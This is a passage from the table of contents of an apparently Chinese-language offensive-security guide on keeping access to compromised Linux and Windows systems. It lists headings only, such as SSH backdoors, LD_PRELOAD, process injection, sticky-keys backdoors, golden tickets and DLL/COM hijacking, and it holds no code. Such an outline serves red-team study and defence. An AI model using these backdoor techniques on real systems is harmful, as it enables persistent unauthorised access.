    10. 1.10. openssh后门
    11. 1.11. SSH后门
    12. 1.12. SSH wrapper后门
    13. 1.13. 利用系统服务程序
    14. 1.14. TCP/UDP/ICMP Shell
    15. 1.15. 共享库文件(so)
      1. 1.15.1. LD_PRELOAD实验
      2. 1.15.2. LD_PRELOAD实战
      3. 1.15.3. 终极后门
    16. 1.16. 可装载内核模块(LKM)
    17. 1.17. Git hooks
    18. 1.18. PROMPT_COMMAND后门
    19. 1.19. PROMPT_COMMAND提权
    20. 1.20. Sudoers “trick”
    21. 1.21. TCP Wrappers
    22. 1.22. nmap nse后门
    23. 1.23. 进程注入
      1. 1.23.1. linux-inject实验
      2. 1.23.2. 究极后门之定时反弹shell
      3. 1.23.3. cymothoa进程注入后门
      4. 1.23.4. JadedWraith后门
  2. 2. Windows权限维持
    1. 2.1. 破解
      1. 2.1.1. LM
      2. 2.1.2. NTLM
      3. 2.1.3. NTLMv1
      4. 2.1.4. NTLMv2
      5. 2.1.5. 在线网站碰撞
    2. 2.2. 影子账户
    3. 2.3. 粘滞键后门
    4. 2.4. logon scripts后门
    5. 2.5. 映像劫持
    6. 2.6. 注册表自启动后门
    7. 2.7. 屏幕保护程序后门
    8. 2.8. 计划任务后门
      1. 2.8.1. schtasks
      2. 2.8.2. at
    9. 2.9. 服务自启动后门
    10. 2.10. 黄金票据
    11. 2.11. 白银票据
    12. 2.12. DSRM密码同步后门
      1. 2.12.1. DSRM介绍
      2. 2.12.2. 利用过程
      3. 2.12.3. 防御
      4. 2.12.4. 参考链接
    13. 2.13. 组策略设置脚本启动
    14. 2.14. bitsadmin
    15. 2.15. msf persistence后门
    16. 2.16. DLL劫持
      1. 2.16.1. dll加载顺序
      2. 2.16.2. DLL劫持思路
        1. 2.16.2.1. 劫持系统DLL
        2. 2.16.2.2. 劫持应用DLL
      3. 2.16.3. DLL劫持操作
      4. 2.16.4. 参考链接
    17. 2.17. CLR劫持
    18. 2.18. 快捷方式后门
    19. 2.19. 拓展名后门
    20. 2.20. COM劫持
      1. 2.20.1. COM介绍
      2. 2.20.2. 劫持实战
        1. 2.20.2.1. 查找COM可利用Keys
        2. 2.20.2.2. 利用计划任务的COM
        3. 2.20.2.3. ScriptletURL
        4. 2.20.2.4. LocalServer32
        5. 2.20.2.5. Threat AS
      3. 2.20.3. 参考链接
    21. 2.21. Office持久化
      1. 2.21.1. 模板文件加载
      2. 2.21.2. 拓展程序
      3. 2.21.3. Office test